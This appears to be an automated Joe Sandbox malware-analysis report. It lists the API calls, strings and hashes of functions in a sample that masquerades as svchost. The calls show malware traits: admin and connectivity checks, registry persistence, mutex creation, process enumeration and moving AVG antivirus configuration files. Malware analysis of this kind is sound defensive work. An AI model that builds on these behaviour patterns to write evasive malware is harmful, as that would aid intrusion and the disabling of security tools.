                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1080409958-0
                                                                                                                                                                                                            • Opcode ID: 516bba3e2214349a54c61e9bda6e18674fece45ad39e98836ef15e0e782ab13b
                                                                                                                                                                                                            • Instruction ID: 1fe6e2718e308242bb6c5c2a414151a477a866d430d10c63754e418e358096b0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 516bba3e2214349a54c61e9bda6e18674fece45ad39e98836ef15e0e782ab13b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4721B235A412047BE7214E26DC88FAFBBACEB89754F60C515FD049A3C0D3709D51CAB0
                                                                                                                                                                                                            Function 02D06BC0 Relevance: 10.6, APIs: 7, Instructions: 101sleepthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D06BE1
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: IsNetworkAlive.SENSAPI(02D06BEE,00000000), ref: 02D14B03
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: IsUserAnAdmin.SHELL32 ref: 02D14B11
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: DnsFlushResolverCache.DNSAPI ref: 02D14B1B
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: memset.MSVCRT ref: 02D14B38
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,75920F10), ref: 02D14B57
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02D14B70
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14B83
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: memset.MSVCRT ref: 02D14B9C
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,75920F10), ref: 02D14BB5
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02D14BC8
                                                                                                                                                                                                              • Part of subcall function 02D14AF0: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02D14BD5
                                                                                                                                                                                                            • Sleep.KERNEL32(000001F4,76EDC3F0,00000000,75920F10), ref: 02D06BFD
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D06C25
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D06870,00000000,00000000,00000000), ref: 02D06C6E
                                                                                                                                                                                                            • WaitForMultipleObjects.KERNEL32(00000040,?,00000001,000000FF,-80000001), ref: 02D06C9A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000000), ref: 02D06CC7
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02D06CD8
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$AdminCheckConnectionHandleInternetUserlstrcpyn$AliveCacheCloseCreateFlushInformationMultipleNetworkObjectsResolverSleepThreadWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 202280876-0
                                                                                                                                                                                                            • Opcode ID: b030c4ba037b334c7ddae3f9d39a66bb7120aedb4a26606fb40761b2a7ed8522
                                                                                                                                                                                                            • Instruction ID: 27b8929d04b3cb4164166f01fc98f48045c48e432e7390d73ffa2ac9cce54a6a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b030c4ba037b334c7ddae3f9d39a66bb7120aedb4a26606fb40761b2a7ed8522
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 48313BB1D802146BEB219F61ACC4BAE7BADDB44704F100564EE05963E0DBB0CDB1CBE9
                                                                                                                                                                                                            Function 00402340 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(\\.\pipe\acsipc_server,C0000000,00000003,?,00000003,80000080,00000000,00000000), ref: 004023D6
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,D48A445E,00000028,?,00000000), ref: 004023F6
                                                                                                                                                                                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 004023FC
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,B5CB6C63,0000001C,?,00000000), ref: 0040241A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040241D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$TimeWrite$CloseCreateHandleSystem
                                                                                                                                                                                                            • String ID: \\.\pipe\acsipc_server
                                                                                                                                                                                                            • API String ID: 3225117150-898603304
                                                                                                                                                                                                            • Opcode ID: 94b1d67b28c7260292b1a7477ac8e46b5ec02ea568fbb3c68bcd621bbab052b5
                                                                                                                                                                                                            • Instruction ID: 3dcb9c770a9bbc908c19996743ce3c51c52a4f68684fd20990d5167f2ff57074
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 94b1d67b28c7260292b1a7477ac8e46b5ec02ea568fbb3c68bcd621bbab052b5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9B31E0B1C0121CABDB10DFD9D985AEEFBB8FB48314F10422AE614BB280D7B41A458F95
                                                                                                                                                                                                            Function 00401AA0 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401AC4
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401ACF
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 00401AF5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,004010DF), ref: 00401B10
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 00401B1C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401B38
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 00401B4A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Process32$ChangeCloseCreateFindFirstHandleInformationNextNotificationSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3068433855-0
                                                                                                                                                                                                            • Opcode ID: f5034955aae474984994a817a0ed0942b8356643e55c240cad4dcfde9e81f7f8
                                                                                                                                                                                                            • Instruction ID: dd63a524005d9bd3fdf31d3318007fe9a0ed814c8c3d3d806708decfbcb8f66e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f5034955aae474984994a817a0ed0942b8356643e55c240cad4dcfde9e81f7f8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9611EBB25043105BC310EF55DC48A9BBBACEBD5360F00453AFE55A3290E734E949CBEA
                                                                                                                                                                                                            Function 02D24800 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D24824
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D2482F
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 02D24855
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,02D017FF), ref: 02D24870
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 02D2487C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D24898
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D248AA
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3955875343-0
                                                                                                                                                                                                            • Opcode ID: f2896378dfe3f0476ac91ff06f2041fee684f67a6b751d3b7d5a258b349bffc4
                                                                                                                                                                                                            • Instruction ID: ae439c0e612a270a71d5ced6a1e6953a21194e4056bf849a63009a8ec20564e0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f2896378dfe3f0476ac91ff06f2041fee684f67a6b751d3b7d5a258b349bffc4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EB11D5769043A06FD310DE65E848A9BFBE8EBA5764F404919FD54C3380E7309D18CBE2
                                                                                                                                                                                                            Function 02D17B30 Relevance: 7.6, APIs: 5, Instructions: 68sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02D17B7A
                                                                                                                                                                                                            • FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02D17BB8
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02D17BD3
                                                                                                                                                                                                            • FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 02D17BDA
                                                                                                                                                                                                            • Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02D17C01
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 433761119-0
                                                                                                                                                                                                            • Opcode ID: c0e9d849f5351167a8a217dad4d9e548118fe2583ea77806f1efd5db4efa9fd2
                                                                                                                                                                                                            • Instruction ID: 111c3c97088928070be83b6816416847d64ef26ee3a977c5daff0491a8d75826
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c0e9d849f5351167a8a217dad4d9e548118fe2583ea77806f1efd5db4efa9fd2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A621C334900219E7F7219BA9BD54BEAB7B8AB15700F2406A1A84197790E7B0DE84CBA0
                                                                                                                                                                                                            Function 02D17B56 Relevance: 7.6, APIs: 5, Instructions: 54sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02D17B7A
                                                                                                                                                                                                            • FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02D17BB8
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02D17BD3
                                                                                                                                                                                                            • FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 02D17BDA
                                                                                                                                                                                                            • Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02D17C01
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 433761119-0
                                                                                                                                                                                                            • Opcode ID: dfd83478570f05e5f9f83252383df9d4b2d934731150c2706f1c5a1e937db4a8
                                                                                                                                                                                                            • Instruction ID: 4a072e6505a67a683a2a2c6d7458024183612868d5580d632879e92cbe3603eb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: dfd83478570f05e5f9f83252383df9d4b2d934731150c2706f1c5a1e937db4a8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FD119438940219EBEB21CBA9ED44BDDB7B8AF14704F244594E941977D0DBB0DE84CFA0
                                                                                                                                                                                                            Function 02D06870 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D068A0
                                                                                                                                                                                                              • Part of subcall function 02D06750: memset.MSVCRT ref: 02D06772
                                                                                                                                                                                                              • Part of subcall function 02D06750: memset.MSVCRT ref: 02D06790
                                                                                                                                                                                                              • Part of subcall function 02D06750: lstrcpynA.KERNEL32(?,00000000,00000104,?,?,?,?,?,75920F10), ref: 02D067A9
                                                                                                                                                                                                              • Part of subcall function 02D06750: RegOpenKeyExA.KERNEL32(?,software\microsoft,00000000,00000102,?,?,?,?,?,?,75920F10), ref: 02D0681D
                                                                                                                                                                                                              • Part of subcall function 02D06750: RegSetValueExA.ADVAPI32(?,A3B7FE06a,00000000,00000001,?,00000104,?,?,?,?,?,75920F10), ref: 02D06843
                                                                                                                                                                                                              • Part of subcall function 02D06750: RegCloseKey.ADVAPI32(?,?,?,?,?,75920F10), ref: 02D06863
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D068C7
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D068CA
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D068D7
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D068DA
                                                                                                                                                                                                              • Part of subcall function 02D063B0: memset.MSVCRT ref: 02D063D8
                                                                                                                                                                                                              • Part of subcall function 02D063B0: DnsFlushResolverCache.DNSAPI ref: 02D063FC
                                                                                                                                                                                                              • Part of subcall function 02D063B0: gethostbyname.WS2_32(02D06C17), ref: 02D06406
                                                                                                                                                                                                              • Part of subcall function 02D063B0: GetTempPathA.KERNEL32(00000104,?), ref: 02D06420
                                                                                                                                                                                                              • Part of subcall function 02D063B0: GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02D06438
                                                                                                                                                                                                              • Part of subcall function 02D063B0: calloc.MSVCRT ref: 02D064D6
                                                                                                                                                                                                              • Part of subcall function 02D063B0: exit.MSVCRT ref: 02D064E5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$memset$ProcessTemp$AdminCacheCloseFileFlushFreeNameOpenPathResolverUserValidateValuecallocexitgethostbynamelstrcpyn
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1054002843-0
                                                                                                                                                                                                            • Opcode ID: a57fd5403b795de404bf1a6a12eba6b4d1b044319eb523b4fc237438cf429cfd
                                                                                                                                                                                                            • Instruction ID: bbae1576d59423f0c5643996de2f109de75c670d76a88634f1fa790630951f9e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a57fd5403b795de404bf1a6a12eba6b4d1b044319eb523b4fc237438cf429cfd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6AF0A476981224ABDA202AA1F849FDB379DDB91762F000526F604D63D0D7F5EC70CAF4
                                                                                                                                                                                                            Function 00402430 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402448
                                                                                                                                                                                                            • MoveFileA.KERNEL32(?,?), ref: 0040250F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileFolderMovePath
                                                                                                                                                                                                            • String ID: \AVG\AVG9\dfmcfg.dat$\AVG\AVG9\dfncfg.dat
                                                                                                                                                                                                            • API String ID: 1404575960-1083204512
                                                                                                                                                                                                            • Opcode ID: e53c7f5395ff5d23e1ea87fbe032685214c058210a3022917d0998b022fdd273
                                                                                                                                                                                                            • Instruction ID: 2817f7f5a2ee45723a7bffe92fbd27ee54b29152b6db55fc9663a9b726faa6ae
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e53c7f5395ff5d23e1ea87fbe032685214c058210a3022917d0998b022fdd273
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 172151B45042448FC719CF14EA98B92BBF1BB88300F1581F9DA99A73B2D6B0D944CF98
                                                                                                                                                                                                            Function 02D03750 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0377E
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,?,75920A60,755CDB30), ref: 02D037C5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateMutexmemset
                                                                                                                                                                                                            • String ID: A3B7F9B4a$Global\
                                                                                                                                                                                                            • API String ID: 3892072029-3156111590
                                                                                                                                                                                                            • Opcode ID: 0d4a3c24720f22d24f696ba34f567943ba7962cac53271fb13245bef7e5737a0
                                                                                                                                                                                                            • Instruction ID: c4fc671375d1e58180d29cd6d47ca740af4ef255118f634a1b77e51978c9cd0c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0d4a3c24720f22d24f696ba34f567943ba7962cac53271fb13245bef7e5737a0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 70017BB1E401195BDB20C928AC55BFA77E4EB91300F4042A5E989DB380EAB15D45CB80
                                                                                                                                                                                                            Function 02D24550 Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000400,00000000,00000000,00000000,00000000,76EBFFB0,?,?,?,?,?,02D173C7,00000000,?,00000000), ref: 02D2457D
                                                                                                                                                                                                            • GetProcessTimes.KERNEL32(00000000,?,?,?,02D173C7,?,?,?,?,?,02D173C7,00000000,?,00000000), ref: 02D2459A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,02D173C7,00000000,?,00000000), ref: 02D245B2
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,02D173C7,00000000), ref: 02D245C3
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess$CloseInformationOpenTimes
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3228293703-0
                                                                                                                                                                                                            • Opcode ID: 6c85aede86f78a555722f4970f9f9fd17d9a0c94582f44a87dd6f765925a75eb
                                                                                                                                                                                                            • Instruction ID: 15740bb6ff7dd1e2bbde6d074fc7f25461bc03f30d0232806c593b5230e30769
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6c85aede86f78a555722f4970f9f9fd17d9a0c94582f44a87dd6f765925a75eb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2D1103B5D00219ABCB00CF96D9849EFFBFCEFA8354F54815AF905A7240D7715A45CBA0
                                                                                                                                                                                                            Function 02D06CA4 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D06870,00000000,00000000,00000000), ref: 02D06C6E
                                                                                                                                                                                                            • WaitForMultipleObjects.KERNEL32(00000040,?,00000001,000000FF,-80000001), ref: 02D06C9A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000000), ref: 02D06CC7
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02D06CD8
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CloseCreateInformationMultipleObjectsThreadWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3242810915-0
                                                                                                                                                                                                            • Opcode ID: db16ffa699dd9afd628d1ae0eb5d3e24658d936e017987c53fec76e19de117fd
                                                                                                                                                                                                            • Instruction ID: fb252e883530201f37667570192f81a692c84cab5e35e2e22ee743362f3a00cf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: db16ffa699dd9afd628d1ae0eb5d3e24658d936e017987c53fec76e19de117fd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6411C4B4D40214ABEB218F909CC57AD7BADEB04B04F604524EA46663E0CB70DDB1C7EE
                                                                                                                                                                                                            Function 02D17220 Relevance: 6.0, APIs: 4, Instructions: 27threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D167D0,00000000,00000000,00000000), ref: 02D17234
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1724C
                                                                                                                                                                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 02D1725D
                                                                                                                                                                                                            • ExitThread.KERNEL32 ref: 02D17265
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Thread$ChangeCloseCreateExitFindHandleInformationNotification
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3889709574-0
                                                                                                                                                                                                            • Opcode ID: 208a5ece320ab7a5bdaf0bded75fe426dfc42c4fd4bbd0f5bba12ac26f35df6d
                                                                                                                                                                                                            • Instruction ID: 9458c57bdc9cf5c3c21739acb963ac40e785af4a4935fc666f0007510fc44a4f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 208a5ece320ab7a5bdaf0bded75fe426dfc42c4fd4bbd0f5bba12ac26f35df6d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4FE06D34E85314BBF3214E90BC4EF5E7BE8AF01B45F644441FE01A6BC1D7A0AE00C6A4
                                                                                                                                                                                                            Function 0040217A Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 0040218C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FreeLibrary
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3664257935-0
                                                                                                                                                                                                            • Opcode ID: b7cbe1c8c54e898400676a98b1d5ddb11bfceec092903a2200cc263d8e9133b1
                                                                                                                                                                                                            • Instruction ID: d0e749ada70b16f267b0096a5882ad0ed8cb575b22d8ef64c6acb779e6c27845
